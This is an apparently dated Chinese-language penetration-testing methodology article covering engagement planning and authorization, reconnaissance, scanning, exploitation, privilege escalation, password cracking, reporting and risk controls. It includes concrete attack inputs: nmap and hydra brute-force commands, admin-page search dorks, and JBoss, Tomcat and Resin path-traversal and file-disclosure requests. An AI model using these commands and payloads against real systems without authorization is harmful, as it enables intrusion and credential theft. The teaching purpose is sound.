<LI>进行渗透测试的目的？<BR>了解当前系统的安全性、了解攻击者可能利用的途径。它能够让管理人员非常直观的了解当前系统所面临的问题。为什么说叫直观呢？就像Mitnick书里面提到的那样，安全管理（在这里我们改一下，改成安全评估工作）需要做到面面俱到才算成功，而一位黑客（渗透测试）只要能通过一点进入系统进行破坏，他就算是很成功的了。 
<LI>渗透测试是否等同于风险评估？<BR>不是，你可以暂时理解成渗透测试属于风险评估的一部分。事实上，风险评估远比渗透测试复杂的多，它除渗透测试外还要加上资产识别，风险分析，除此之外，也还包括了人工审查以及后期的优化部分（可选）。 
<LI>已经进行了安全审查，还需要渗透测试吗？<BR>如果我对您说：嘿，中国的现有太空理论技术通过计算机演算已经能够证明中国完全有能力实现宇航员太空漫步了，没必要再发射神8了。您能接受吗？ 
<LI>渗透测试是否就是黑盒测试？<BR>否，很多技术人员对这个问题都存在这个错误的理解。渗透测试不只是要模拟外部黑客的入侵，同时，防止内部人员的有意识（无意识）攻击也是很有必要的。这时，安全测试人员可以被告之包括代码片段来内的有关于系统的一些信息。这时，它就满足灰盒甚至白盒测试。 
<LI>渗透测试涉及哪些内容?<BR>技术层面主要包括网络设备，主机，数据库，应用系统。另外可以考虑加入社会工程学（<A href="http://www.china-pub.com/computers/common/info.asp?id=33722"><U><FONT color=#0066cc>入侵的艺术</FONT></U></A>/<A href="http://www.amazon.com/Art-Intrusion-Exploits-Intruders-Deceivers/dp/0764569597/sr=11-1/qid=1169101240/ref=sr_11_1/103-4901794-2076652"><U><FONT color=#0066cc>THE ART OF INTRUSION</FONT></U></A>）。 
<LI>渗透测试有哪些不足之处？<BR>主要是投入高，风险高。而且必须是专业的Ethical Hackers才能相信输出的最终结果。 
</LI><LI>你说的那么好，为什么渗透测试工作在中国开展的不是很火热呢？<BR>我只能说：会的，一定会的。渗透测试的关键在于没法证明你的测试结果就是完善的。用户不知道花了钱证明了系统有问题以后，自己的安全等级到了一个什么程序。但是很显然，用户是相信一个专业且经验丰富的安全团队的，这个在中国问题比较严重。在我接触了一些大型的安全公司进行的一些渗透测试过程来看，测试人员的水平是对不住开的那些价格的，而且从测试过程到结果报表上来看也是不负责的。我估计在三年以后，这种情况会有所改观，到时一方面安全人员的技术力量有很大程度的改观，另一方面各企业对渗透测试会有一个比较深刻的理解，也会将其做为一种IT审计的方式加入到开发流程中去。渗透测试的专业化、商业化会越来越成熟。 </LI></UL>
<H1><STRONG><A title=2 ></A>二、制定实施方案</STRONG></H1>
<P>实施方案应当由测试方与客户之间进行沟通协商。一开始测试方提供一份简单的问卷调查了解客户对测试的基本接收情况。内容包括但不限于如下：</P>
<UL>
<LI>目标系统介绍、重点保护对象及特性。 
</LI><LI>是否允许数据破坏？ 
</LI><LI>是否允许阻断业务正常运行？ 
</LI><LI>测试之前是否应当知会相关部门接口人？ 
</LI><LI>接入方式？外网和内网？ 
</LI><LI>测试是发现问题就算成功，还是尽可能的发现多的问题？ 
</LI><LI>渗透过程是否需要考虑社会工程？ 
</LI><LI>。。。 </LI></UL>
<P>在得到客户反馈后，由测试方书写实施方案初稿并提交给客户，由客户进行审核。在审核完成后，客户应当对测试方进行书面委托授权。这里，两部分文档分别应当包含如下内容：</P>
<UL>
<LI>实施方案部分：<BR>... 
</LI><LI>书面委托授权部分：<BR>... </LI></UL>
<H1><STRONG><A title=3 ></A>三、具体操作过程</STRONG></H1>
<P><STRONG>1、信息收集过程</STRONG></P>
<UL>
<LI>网络信息收集:<BR>在这一部还不会直接对被测目标进行扫描，应当先从网络上搜索一些相关信息，包括Google Hacking， Whois查询， DNS等信息（如果考虑进行社会工程学的话，这里还可以相应从邮件列表/新闻组中获取目标系统中一些边缘信息如内部员工帐号组成，身份识别方式，邮件联系地址等）。<BR>
<TABLE border=1>
<TBODY>
<TR>
<TD>
<P>1.使用whois查询目标域名的DNS服务器<BR>2.nslookup<BR>&gt;set type=all<BR>&gt;<FONT color=#0000ff>&lt;domain&gt;</FONT><BR>&gt;server <FONT color=#0000ff>&lt;ns server&gt;</FONT><BR>&gt;set q=all<BR>&gt;ls -d <FONT color=#0000ff>&lt;domain&gt;</FONT></P></TD></TR></TBODY></TABLE>
<P>涉及的工具包括：<A href="http://www.google.com/"><U><FONT color=#800080>Google</FONT></U></A>,<A href="http://www.nosec.org/web/index.php?q=demon"><U><FONT color=#0066cc>Demon</FONT></U></A>,<A href="http://www.webhosting.info/"><U><FONT color=#0066cc>webhosting.info</FONT></U></A>,<A href="http://worm.ccert.edu.cn/GoogleHacking/Apollo/"><U><FONT color=#0066cc>Apollo</FONT></U></A>,<A href="http://snakeoillabs.com/"><U><FONT color=#0066cc>Athena</FONT></U></A>,<A href="http://snakeoillabs.com/downloads/GHDB.xml"><U><FONT color=#0066cc>GHDB.XML</FONT></U></A>,<A href="http://uptime.netcraft.com/up/graph"><U><FONT color=#0066cc>netcraft</FONT></U></A>,<A href="http://www.seologs.com/ip-domains.html" target=_blank><U><FONT color=#0066cc>seologs</FONT></U></A>　除此之外，我想特别提醒一下使用Googlebot/2.1绕过一些文件的获取限制。<BR>
<TABLE border=1>
<TBODY>
<TR>
<TD>
<P>Google hacking 中常用的一些语法描述<BR>1.搜索指定站点关键字site。你可以搜索具体的站点如site:www.nosec.org。使用site:nosec.org可以搜索该域名下的所有子域名的页面。甚至可以使用site:org.cn来搜索中国政府部门的网站。<BR>2.搜索在URL网址中的关键字inurl。比如你想搜索带参数的站点，你可以尝试用inurl:asp?id=<BR>3.搜索在网页标题中的关键字intitle。如果你想搜索一些登陆后台，你可以尝试使用intitle:"admin login"</P></TD></TR></TBODY></TABLE></P>
</LI><LI>目标系统信息收集:<BR>通过上面一步，我们应当可以简单的描绘出目标系统的网络结构，如公司网络所在区域，子公司IP地址分布，VPN接入地址等。这里特别要注意一些比较偏门的HOST名称地址，如一些backup开头或者temp开关的域名很可能就是一台备份服务器，其安全性很可能做的不够。<BR>从获取的地址列表中进行系统判断，了解其组织架构及操作系统使用情况。最常用的方法的是目标所有IP网段扫描。 
</LI><LI>端口/服务信息收集:<BR>这一部分已经可以开始直接的扫描操作，涉及的工具包括：<A href="http://insecure.org/nmap/"><U><FONT color=#0066cc>nmap</FONT></U></A>,<A href="http://www.thc.org/thc-amap/"><U><FONT color=#0066cc>thc-amap</FONT></U></A><BR>
<TABLE border=1>
<TBODY>
<TR>
<TD>
<P>1.我最常使用的参数<BR>nmap -sS -p1-10000 -n -P0 -oX filename.xml --open -T5 <FONT color=#0000ff>&lt;ip address&gt;</FONT></P></TD></TR></TBODY></TABLE>
</LI><LI>应用信息收集：<A href="http://net-square.com/httprint/"><U><FONT color=#0066cc>httprint</FONT></U></A>，SIPSCAN，smap 
</LI><LI>这里有必要将SNMP拿出来单独说一下，因为目前许多运营商、大型企业内部网络的维护台通过SNMP进行数据传输，大部分情况是使用了默认口令的，撑死改了private口令。这样，攻击者可以通过它收集到很多有效信息。<A href="http://www.japplis.com/snmp-gui/index.html" target=_blank><U><FONT color=#0066cc>snmp-gui</FONT></U></A>，<A href="http://www.hilisoft.com/" target=_blank><U><FONT color=#0066cc>HiliSoft MIB Browser</FONT></U></A>，<A href="http://www.mibsearch.com/" target=_blank><U><FONT color=#0066cc>mibsearch</FONT></U></A>，<A href="http://sourceforge.net/project/showfiles.php?group_id=12694" target=_blank><U><FONT color=#0066cc>net-snmp</FONT></U></A>都是一些很好的资源。 </LI></UL>
<P><STRONG>2、漏洞扫描</STRONG></P>
<P>这一步主要针对具体系统目标进行。如通过第一步的信息收集，已经得到了目标系统的IP地址分布及对应的域名，并且我们已经通过一些分析过滤出少许的几个攻击目标，这时，我们就可以针对它们进行有针对性的漏洞扫描。这里有几个方面可以进行：</P>
<P>针对系统层面的工具有：ISS, <A href="http://www.nessus.org/"><U><FONT color=#0066cc>Nessus</FONT></U></A>, SSS, Retina, 天镜, 极光</P>
<P>针对WEB应用层面的工具有：<A href="http://www.watchfire.com/products/appscan/default.aspx"><U><FONT color=#0066cc>AppScan</FONT></U></A>, <A href="http://www.acunetix.com/vulnerability-scanner/"><U><FONT color=#0066cc>Acunetix Web Vulnerability Scanner</FONT></U></A>, <A href="http://www.nosec.org/web/www.spidynamics.com/products/webinspect/"><U><FONT color=#0066cc>WebInspect</FONT></U></A>, <A href="http://www.nstalker.com/"><U><FONT color=#0066cc>Nstalker</FONT></U></A></P>
<P>针对数据库的工具有：<A href="http://www.safety-lab.com/securityscanner/database_vulnerability_scanner"><U><FONT color=#0066cc>ShadowDatabaseScanner</FONT></U></A>, <A href="http://www.ngssoftware.com/"><U><FONT color=#0066cc>NGSSQuirreL</FONT></U></A> </P>
<P>针对VOIP方面的工具有：<A href="http://www.ee.oulu.fi/research/ouspg/protos/testing/c07/sip/index.html"><U><FONT color=#0066cc>PROTOS c07 sip</FONT></U></A>(在测试中直接用这个工具轰等于找死)以及<A href="http://www.ee.oulu.fi/research/ouspg/protos/testing/c07/h2250v4/index.html"><U><FONT color=#0066cc>c07 h225</FONT></U></A>, <A href="http://www.vopsecurity.org/html/tools.html"><U><FONT color=#0066cc>Sivus</FONT></U></A>, <A href="http://sipsak.org/"><U><FONT color=#0066cc>sipsak</FONT></U></A>等。</P>
<P>事实上，每个渗透测试团队或多或少都会有自己的测试工具包，在漏洞扫描这一块针对具体应用的工具也比较个性化。</P>
<P><STRONG>3、漏洞利用</STRONG></P>
<P>有时候，通过服务/应用扫描后，我们可以跳过漏洞扫描部分，直接到漏洞利用。因为很多情况下我们根据目标服务/应用的版本就可以到一些安全网站上获取针对该目标系统的漏洞利用代码，如<A href="http://www.milw0rm.com/"><U><FONT color=#0066cc>milw0rm</FONT></U></A>, <A href="http://www.securityfocus.net/"><U><FONT color=#0066cc>securityfocus</FONT></U></A>,<A href="http://www.nosec.org/web/packetstormsecurity.nl"><U><FONT color=#0066cc>packetstormsecurity</FONT></U></A>等网站，上面都对应有搜索模块。实在没有，我们也可以尝试在GOOGLE上搜索“应用名称 exploit”、“应用名称 vulnerability”等关键字。</P>
<P>当然，大部分情况下你都可以不这么麻烦，网络中有一些工具可供我们使用，最著名的当属<A href="http://www.metasploit.org/"><U><FONT color=#0066cc>metasploit</FONT></U></A>了，它是一个开源免费的漏洞利用攻击平台。其他的多说无益，您就看它从榜上无名到冲进<A href="http://sectools.org/"><U><FONT color=#0066cc>前五（top 100)</FONT></U></A>这一点来说，也能大概了解到它的威力了。除此之外，如果您（您们公司）有足够的moeny用于购买商用软件的话，<A href="http://www.coresecurity.com/products/coreimpact/"><U><FONT color=#0066cc>CORE IMPACT</FONT></U></A>是相当值得考虑的，虽然说价格很高，但是它却是被业界公认在渗透测试方面的泰山北斗，基本上测试全自动。如果您觉得还是接受不了，那么您可以去购买<A href="http://www.immunitysec.com/products-canvas.shtml"><U><FONT color=#0066cc>CANVAS</FONT></U></A>，据说有不少0DAY，不过它跟<A href="http://www.metasploit.org/"><U><FONT color=#0066cc>metasploit</FONT></U></A>一样，是需要手动进行测试的。最后还有一个需要提及一下的<A href="http://www.securityforest.com/wiki/index.php/Exploitation_Framework"><U><FONT color=#0066cc>Exploitation_Framework</FONT></U></A>，它相当于一个漏洞利用代码管理工具，方便进行不同语言，不同平台的利用代码收集，把它也放在这里是因为它本身也维护了一个exploit库，大家参考着也能使用。</P>
<P>上面提到的是针对系统进行的，在针对WEB方面，注入工具有NBSI, <A href="http://www.owasp.org/index.php/Category:OWASP_SQLiX_Project"><U><FONT color=#0066cc>OWASP SQLiX</FONT></U></A>, <A href="http://www.sqlpowerinjector.com/download.htm"><U><FONT color=#0066cc>SQL Power Injector</FONT></U></A>, <A href="http://www.ictsc.it/site/IT/projects/sqlDumper/sqlDumper.php"><U><FONT color=#0066cc>sqlDumper</FONT></U></A>, <A href="http://sqlninja.sourceforge.net/"><U><FONT color=#0066cc>sqlninja</FONT></U></A>, <A href="http://sqlmap.sourceforge.net/"><U><FONT color=#0066cc>sqlmap</FONT></U></A>, <A href="http://www.reversing.org/node/view/11"><U><FONT color=#0066cc>Sqlbftools</FONT></U></A>, <A href="http://www.priamos-project.com/"><U><FONT color=#0066cc>priamos</FONT></U></A>, <A href="http://www.infobyte.com.ar/development.html" target=_blank><U><FONT color=#0066cc>ISR-sqlget</FONT></U></A>***等等。</P>
<P>在针对数据库方面的工具有：</P>
<P>
<TABLE style="BORDER-RIGHT: #000000 1px solid; BORDER-TOP: #000000 1px solid; BORDER-LEFT: #000000 1px solid; BORDER-BOTTOM: #000000 1px solid" border=1>
<TBODY>
<TR style="BACKGROUND-COLOR: #000066">
<TD><STRONG><FONT color=#ffffff>数据库</FONT></STRONG></TD>
<TD><STRONG><FONT color=#ffffff>工具列表</FONT></STRONG></TD></TR>
<TR>
<TD>Oracle（1521端口）: 目前主要存在以下方面的安全问题：<BR>1、TNS监听程序攻击（sid信息泄露,停止服务等）<BR>2、默认账号(<A href="http://www.petefinnigan.com/default/default_password_list.htm" target=_blank><U><FONT color=#0066cc>default password list</FONT></U></A>)<BR>3、SQL INJECTION（这个与传统的意思还不太一样）<BR>4、缓冲区溢出，现在比较少了。</TD>
<TD><A href="http://www.thc.org/thc-orakel/" target=_blank><U><FONT color=#0066cc>thc-orakel</FONT></U></A>, <A href="http://www.jammed.com/~jwa/hacks/security/tnscmd/"><U><FONT color=#0066cc>tnscmd</FONT></U></A>, <A href="http://www.cqure.net/wp/?page_id=3"><U><FONT color=#0066cc>oscanner</FONT></U></A>, <A href="http://www.cqure.net/wp/?page_id=13" target=_blank><U><FONT color=#0066cc>Getsids</FONT></U></A>, <A href="http://www.dokfleed.net/duh/modules.php?name=News&amp;file=article&amp;sid=35"><U><FONT color=#0066cc>TNSLSNR</FONT></U></A>, <A href="http://www.integrigy.com/security-resources/downloads/lsnrcheck-tool/" target=_blank><U><FONT color=#0066cc>lsnrcheck</FONT></U></A>, <A href="http://www.cqure.net/wp/?page_id=2" target=_blank><U><FONT color=#0066cc>OAT</FONT></U></A>, <A href="http://www.red-database-security.com/software/checkpwd.html" target=_blank><U><FONT color=#0066cc>Checkpwd</FONT></U></A>, <A href="http://www.toolcrypt.org/index.html?orabf" target=_blank><U><FONT color=#0066cc>orabf</FONT></U></A></TD></TR>
<TR>
<TD>MS Sql Server（1433、1434端口）</TD>
<TD></TD></TR>
<TR>
<TD>Mysql（3306端口）</TD>
<TD></TD></TR>
<TR>
<TD>DB2（523、50000、50001、50002、50003端口）</TD>
<TD><A href="http://www.cqure.net/wp/?page_id=49"><U><FONT color=#0066cc>db2utils</FONT></U></A></TD></TR>
<TR>
<TD>Informix（1526、1528端口）</TD>
<TD></TD></TR></TBODY></TABLE></P>
<P>在针对Web服务器方面的工具有：<BR>
<TABLE style="BORDER-RIGHT: #000000 1px solid; BORDER-TOP: #000000 1px solid; BORDER-LEFT: #000000 1px solid; BORDER-BOTTOM: #000000 1px solid" height=292 width=473 border=1>
<TBODY>
<TR style="BACKGROUND-COLOR: #000066">
<TD><STRONG><FONT color=#ffffff>WEB服务器</FONT></STRONG></TD>
<TD><STRONG><FONT color=#ffffff>工具列表</FONT></STRONG></TD></TR>
<TR>
<TD>IIS</TD>
<TD><A href="http://www.nosec.org/web/?q=iisputscanner"><U><FONT color=#0066cc>IISPUTSCANNER</FONT></U></A></TD></TR>
<TR>
<TD>Tomcat</TD>
<TD>想起/admin和/manager管理目录了吗？另外，目录列表也是Tomcat服务器中最常见的问题。比如5.*版本中的http://127.0.0.1/;index.jsp<BR>http://www.example.com/foo/\../manager/html <BR><A title=http://www.example.com:8080/examples/servlets/servlet/CookieExample?cookiename=HAHA&amp;cookievalue=%5C%22FOO%3B+Expires%3DThu%2C+1+Jan+2009+00%3A00%3A01+UTC%3B+Path%3D%2F%3B href="http://www.example.com:8080/examples/servlets/servlet/CookieExample?cookiename=HAHA&amp;cookievalue=%5C%22FOO%3B+Expires%3DThu%2C+1+Jan+2009+00%3A00%3A01+UTC%3B+Path%3D%2F%3B">http://www.example.com:8080/examples/servlets/servlet/CookieExample?cook...</A><BR><A title=http://www.example.com:8080/servlets-examples/servlet/CookieExample?cookiename=BLOCKER&amp;cookievalue=%5C%22A%3D%27%3B+Expires%3DThu%2C+1+Jan+2009+00%3A00%3A01+UTC%3B+Path%3D%2Fservlets-examples%2Fservlet+%3B href="http://www.example.com:8080/servlets-examples/servlet/CookieExample?cookiename=BLOCKER&amp;cookievalue=%5C%22A%3D%27%3B+Expires%3DThu%2C+1+Jan+2009+00%3A00%3A01+UTC%3B+Path%3D%2Fservlets-examples%2Fservlet+%3B">http://www.example.com:8080/servlets-examples/servlet/CookieExample?cook...</A> </TD></TR>
<TR>
<TD>JBOSS</TD>
<TD>jboss的漏洞很少，老版本中8083端口有%符号的漏洞：<BR>GET %. HTTP/1.0可以获取物理路径信息，<BR>GET %server.policy HTTP/1.0可以获取安全策略配置文档。<BR>你也可以直接访问GET %org/xxx/lib.class来获取编译好的java程序，再使用一些反编译工具还原源代码。</TD></TR>
<TR>
<TD>Apache</TD>
<TD></TD></TR>
<TR>
<TD>Resin</TD>
<TD>http://victim/C:%5C/<BR><A title=http://victim/resin-doc/viewfile/?file=index.jsp href="http://victim/resin-doc/viewfile/?file=index.jsp">http://victim/resin-doc/viewfile/?file=index.jsp</A><BR>http://victim/resin-doc/viewfile/?contextpath=/otherwebapp&amp;servletpath=&amp;file=WEB-INF/web.xml<FONT color=#494949><BR></FONT>http://victim/resin-doc/viewfile/?contextpath=/&amp;servletpath=&amp;file=WEB-INF/classes/com/webapp/app/target.class<BR>http://victim/[path]/[device].[extension]<BR>http://victim/%20..\web-inf<BR><A title=http://victim/%20 href="http://victim/%20">http://victim/%20</A><BR>http://victim/[path]/%20.xtp </TD></TR>
<TR>
<TD>WebLogic</TD>
<TD></TD></TR></TBODY></TABLE></P>
<P>Web安全测试主要围绕几块进行：</P>
<UL>
<LI>Information Gathering：也就是一般的信息泄漏，包括异常情况下的路径泄漏、文件归档查找等 
</LI><LI>Business logic testing：业务逻辑处理攻击，很多情况下用于进行业务绕过或者欺骗等等 
</LI><LI>Authentication Testing：有无验证码、有无次数限制等，总之就是看能不能暴力破解或者说容不容易通过认证，比较直接的就是“默认口令”或者弱口令了 
</LI><LI>Session Management Testing：会话管理攻击在COOKIE携带认证信息时最有效 
</LI><LI>Data Validation Testing：数据验证最好理解了，就是SQL Injection和Cross Site Script等等 </LI></UL>
<P>目前网上能够找到许多能够用于进行Web测试的工具，根据不同的功能分主要有：</P>
<OL>
<LI>枚举（Enumeration）： DirBuster, http-dir-enum, wget 
</LI><LI>基于代理测试类工具：paros, webscarab, Burp Suite </LI></OL>
<P>针对WebService测试的部分有一些尚不是很成熟的工具，如：<A href="http://www.isecpartners.com/wsbang.html" target=_blank><U><FONT color=#0066cc>wsbang</FONT></U></A>，<A href="http://net-square.com/wschess/index.shtml" target=_blank><U><FONT color=#0066cc>wschess</FONT></U></A>，<A href="http://www.isecpartners.com/wsmap.html" target=_blank><U><FONT color=#0066cc>wsmap</FONT></U></A>，<A title=wsdigger href="http://www.foundstone.com/us/resources/proddesc/wsdigger.htm" target=_blank><U><FONT color=#0066cc>wsdigger</FONT></U></A>，<A href="http://www.neurofuzz.com/modules/software/wsfuzzer.php" target=_blank><U><FONT color=#0066cc>wsfuzzer</FONT></U></A> </P>
<P>这一部分值得一提的是，很多渗透测试团队都有着自己的测试工具甚至是0DAY代码，最常见的是SQL注入工具，现网开发的注入工具（如NBSI等）目前都是针对中小企业或者是个人站点/数据库进行的，针对大型目标系统使用的一些相对比较偏门的数据库系统（如INFORMIX，DB2）等，基本上还不涉及或者说还不够深入。这时各渗透测试团队就开发了满足自身使用习惯的测试工具。</P>
<P>在针对无线环境的攻击有：<A href="http://community.corest.com/~hochoa/wifizoo/index.html" target=_blank><U><FONT color=#0066cc>WifiZoo</FONT></U></A></P>
<P><STRONG>4、权限提升</STRONG></P>
<P>在前面的一些工作中，你或许已经得到了一些控制权限，但是对于进一步攻击来说却还是不够。例如：你可能很容易的能够获取Oracle数据库的访问权限，或者是得到了UNIX(AIX,HP-UX,SUNOS)的一个基本账号权限，但是当你想进行进一步的渗透测试的时候问题就来了。你发现你没有足够的权限打开一些密码存储文件、你没有办法安装一个SNIFFER、你甚至没有权限执行一些很基本的命令。这时候你自然而然的就会想到权限提升这个途径了。</P>
<P>目前一些企业对于补丁管理是存在很大一部分问题的，他们可能压根就没有想过对一些服务器或者应用进行补丁更新，或者是延时更新。这时候就是渗透测试人员的好机会了。经验之谈：有一般权限的Oracle账号或者AIX账号基本上等于root，因为这就是现实生活。</P>
<P><STRONG>5、密码破解</STRONG></P>
<P>有时候，目标系统任何方面的配置都是无懈可击的，但是并不是说就完全没办法进入。最简单的说，一个缺少密码完全策略的论证系统就等于你安装了一个不能关闭的防盗门。很多情况下，一些安全技术研究人员对此不屑一顾，但是无数次的安全事故结果证明，往往破坏力最大的攻击起源于最小的弱点，例如弱口令、目录列表、SQL注入绕过论证等等。所以说，对于一些专门的安全技术研究人员来说，这一块意义不大，但是对于一个ethical hacker来说，这一步骤是有必要而且绝大部分情况下是必须的。；）</P>
<P>目前比较好的网络密码暴力破解工具有：<A href="http://www.thc.org/thc-hydra/"><U><FONT color=#0066cc>thc-hydra</FONT></U></A>，<A href="http://www.hoobie.net/brutus/"><U><FONT color=#0066cc>brutus</FONT></U></A></P>
<TABLE border=1>
<TBODY>
<TR>
<TD>
<P><FONT color=#0000ff>&gt;hydra.exe -L users.txt -P passwords.txt -o test.txt -s 2121 <A href="http://www.nosec.org/"><U><FONT color=#800080>www.nosec.org</FONT></U></A> ftp</FONT></P></TD></TR></TBODY></TABLE>
<P>目前网络中有一种资源被利用的很广泛，那就是rainbow table技术，说白了也就是一个HASH对应表，有一些网站提供了该种服务，对外宣称存储空间大于多少G，像<A href="https://www.rainbowcrack.com/"><U><FONT color=#0066cc>rainbowcrack</FONT></U></A>更是对外宣称其数据量已经大于1.3T。<BR>针对此种方式对外提供在线服务的有： </P>
<P>
<TABLE border=1>
<TBODY>
<TR style="BACKGROUND-COLOR: #000099">
<TD><FONT color=#ffffff><STRONG>网址</STRONG></FONT></TD>
<TD><FONT color=#ffffff><STRONG>描述</STRONG></FONT></TD></TR>
<TR>
<TD><A href="https://www.rainbowcrack.com/"><U><FONT color=#0066cc>rainbowcrack</FONT></U></A></TD>
<TD>里面对应了多种加密算法的HASH。</TD></TR>
<TR>
<TD><A href="http://gdataonline.com/seekhash.php"><U><FONT color=#0066cc>http://gdataonline.com/seekhash.php</FONT></U></A></TD>
<TD></TD></TR>
<TR>
<TD><A href="http://www.milw0rm.com/cracker/info.php"><U><FONT color=#0066cc>http://www.milw0rm.com/cracker/info.php</FONT></U></A></TD>
<TD></TD></TR>
<TR>
<TD><A href="http://www.hashchecker.com/?_sls=search_hash"><U><FONT color=#0066cc>http://www.hashchecker.com/?_sls=search_hash</FONT></U></A></TD>
<TD></TD></TR>
<TR>
<TD><A href="http://bokehman.com/cracker/"><U><FONT color=#0066cc>http://bokehman.com/cracker/</FONT></U></A></TD>
<TD></TD></TR>
<TR>
<TD><A href="http://passcracking.ru/"><U><FONT color=#0066cc>http://passcracking.ru/</FONT></U></A></TD>
<TD></TD></TR>
<TR>
<TD><A href="http://md5.neeao.com/"><U><FONT color=#0066cc>http://md5.neeao.com/</FONT></U></A></TD>
<TD>国内人员提供的在线MD5检查平台，据说已集成了一些其他网站的HASH结果。</TD></TR>
<TR>
<TD><A href="http://www.cmd5.com/"><U><FONT color=#0066cc>http://www.cmd5.com/</FONT></U></A></TD>
<TD>网站说明中有一些比较有意思:针对国内用户做了大量优化...也不知道是真是假, ;)</TD></TR></TBODY></TABLE></P>
<P>当然，有些单机破解软件还是必不可少的：<A href="http://ophcrack.sourceforge.net/"><U><FONT color=#0066cc>Ophcrack</FONT></U></A>，<A href="http://www.antsight.com/zsl/rainbowcrack/"><U><FONT color=#0066cc>rainbowcrack</FONT></U></A>（国人开发，赞一个），<A href="http://www.oxid.it/cain.html"><U><FONT color=#0066cc>cain</FONT></U></A>，L0phtCrack（破解Windows密码），<A href="http://www.openwall.com/john"><U><FONT color=#0066cc>John the Ripper</FONT></U></A>（破解UNIX/LINUX）密码，当然，还少不了一个<A href="http://www.xfocus.net/tools/200307/445.html"><U><FONT color=#0066cc>FindPass</FONT></U></A>...</P>
<P>针对网络设备的一些默认帐号，你可以查询<A href="http://www.routerpasswords.com/"><U><FONT color=#0066cc>http://www.routerpasswords.com/</FONT></U></A>和<A href="http://www.phenoelit-us.org/dpl/dpl.html"><U><FONT color=#0066cc>http://www.phenoelit-us.org/dpl/dpl.html</FONT></U></A></P>
<P>在渗透测试过程中，一旦有机会接触一些OFFICE文档，且被加了密的话，那么，<A href="http://www.rixler.com/"><U><FONT color=#0066cc>rixler</FONT></U></A>是您马上要去的地方，他们提供的OFFICE密码套件能在瞬间打开OFFICE文档（2007中我没有试过，大家有机会测试的话请给我发一份测试结果说明，谢谢）。看来微软有理由来个补丁什么的了。对于企业来说，您可以考虑使用<A href="http://www.unnoo.com/html/infoguard/"><U><FONT color=#0066cc>铁卷</FONT></U></A>或者RMS了。</P>
<P><STRONG>６、日志清除</STRONG></P>
<P>It is not necessary actually.</P>
<P><STRONG>7、进一步渗透</STRONG></P>
<P>攻入了DMZ区一般情况下我们也不会获取多少用价值的信息。为了进一步巩固战果，我们需要进行进一步的内网渗透。到这一步就真的算是无所不用其及。最常用且最有效的方式就是Sniff抓包（可以加上ARP欺骗）。当然，最简单的你可以翻翻已入侵机器上的一些文件，很可能就包含了你需要的一些连接帐号。比如说你入侵了一台Web服务器，那么绝大部分情况下你可以在页面的代码或者某个配置文件中找到连接数据库的帐号。你也可以打开一些日志文件看一看。</P>
<P>除此之外，你可以直接回到第二步漏洞扫描来进行。</P>
<H1><STRONG><A title=4 ></A>四、生成报告</STRONG></H1>
<P>报告中应当包含：</P>
<OL>
<LI>薄弱点列表清单（按照严重等级排序） 
</LI><LI>薄弱点详细描述（利用方法） 
</LI><LI>解决方法建议 
</LI><LI>参与人员/测试时间/内网/外网 </LI></OL>
<H1><STRONG><A title=5 ></A>五、测试过程中的风险及规避</STRONG></H1>
<P>在测试过程中无可避免的可能会发生很多可预见和不可预见的风险，测试方必须提供规避措施以免对系统造成重大的影响。以下一些可供参考：</P>
<P style="MARGIN: 0cm 0cm 0pt 21pt; TEXT-INDENT: -21pt"><FONT color=#000000><SPAN><SPAN><FONT face=Arial size=2>1.</FONT><SPAN style="FONT: 7pt 'Times New Roman'; font-size-adjust: none; font-stretch: normal"> </SPAN></SPAN></SPAN><SPAN style="FONT-FAMILY: 宋体"><FONT size=2>不执行任何可能引起业务中断的攻击（包括资源耗竭型</FONT></SPAN><SPAN><FONT face=Arial size=2>DoS</FONT></SPAN><FONT size=2><SPAN style="FONT-FAMILY: 宋体">，畸形报文攻击，数据破坏）。</SPAN></FONT></FONT></P>
<P style="MARGIN: 0cm 0cm 0pt 21pt; TEXT-INDENT: -21pt"><FONT color=#000000><SPAN><SPAN><FONT face=Arial size=2>2.</FONT><SPAN style="FONT: 7pt 'Times New Roman'; font-size-adjust: none; font-stretch: normal"> </SPAN></SPAN></SPAN><FONT size=2><SPAN style="FONT-FAMILY: 宋体">测试验证时间放在业务量最小的时间进行。</SPAN></FONT></FONT></P>
<P style="MARGIN: 0cm 0cm 0pt 21pt; TEXT-INDENT: -21pt"><FONT color=#000000><SPAN><SPAN><FONT face=Arial size=2>3.</FONT><SPAN style="FONT: 7pt 'Times New Roman'; font-size-adjust: none; font-stretch: normal"> </SPAN></SPAN></SPAN><FONT size=2><SPAN style="FONT-FAMILY: 宋体">测试执行前确保相关数据进行备份。</SPAN></FONT></FONT></P>
<P style="MARGIN: 0cm 0cm 0pt 21pt; TEXT-INDENT: -21pt"><FONT color=#000000><SPAN><SPAN><FONT face=Arial size=2>4.</FONT><SPAN style="FONT: 7pt 'Times New Roman'; font-size-adjust: none; font-stretch: normal"> </SPAN></SPAN></SPAN><FONT size=2><SPAN style="FONT-FAMILY: 宋体">所有测试在执行前和维护人员进行沟通确认。</SPAN></FONT></FONT></P>
<P style="MARGIN: 0cm 0cm 0pt 21pt; TEXT-INDENT: -21pt"><FONT color=#000000><SPAN><SPAN><FONT face=Arial size=2>5.</FONT><SPAN style="FONT: 7pt 'Times New Roman'; font-size-adjust: none; font-stretch: normal"> </SPAN></SPAN></SPAN><FONT size=2><SPAN style="FONT-FAMILY: 宋体">在测试过程中出现异常情况时立即停止测试并及时恢复系统。</SPAN></FONT></FONT></P>
<P style="MARGIN: 0cm 0cm 0pt 21pt; TEXT-INDENT: -21pt"><FONT color=#000000><SPAN><SPAN><FONT face=Arial size=2>6.</FONT><SPAN style="FONT: 7pt 'Times New Roman'; font-size-adjust: none; font-stretch: normal"> </SPAN></SPAN></SPAN><SPAN style="FONT-FAMILY: 宋体"><FONT size=2>对原始业务系统进行一个完全的镜像环境，在镜像环境上进行渗透测试。</FONT></SPAN></FONT></P>
<H1><STRONG><A title=5 ></A>参考资料:</STRONG></H1>
<OL>
<LI><A href="http://www.unnoo.com/upimg/upload/research/20051204_UnnooPentestingServiceWhitepaper_wlj_v1.4.pdf"><FONT color=#0066cc><U>大成天下渗透测试服务技术白皮书 v1.4</U></FONT></A> 
</LI><LI><A href="http://www.vulnerabilityassessment.co.uk/Penetration%20Test.html"><FONT color=#0066cc><U>Penetration Testing Framework</U></FONT></A> 
</LI><LI><A href="http://www.vulnerabilityassessment.co.uk/report%20template.html"><FONT color=#0066cc><U>Report Template</U></FONT></A> 
</LI><LI><A href="http://www.phenoelit.de/dpl/dpl.html"><FONT color=#0066cc><U>http://www.phenoelit.de/dpl/dpl.html</U></FONT></A> 
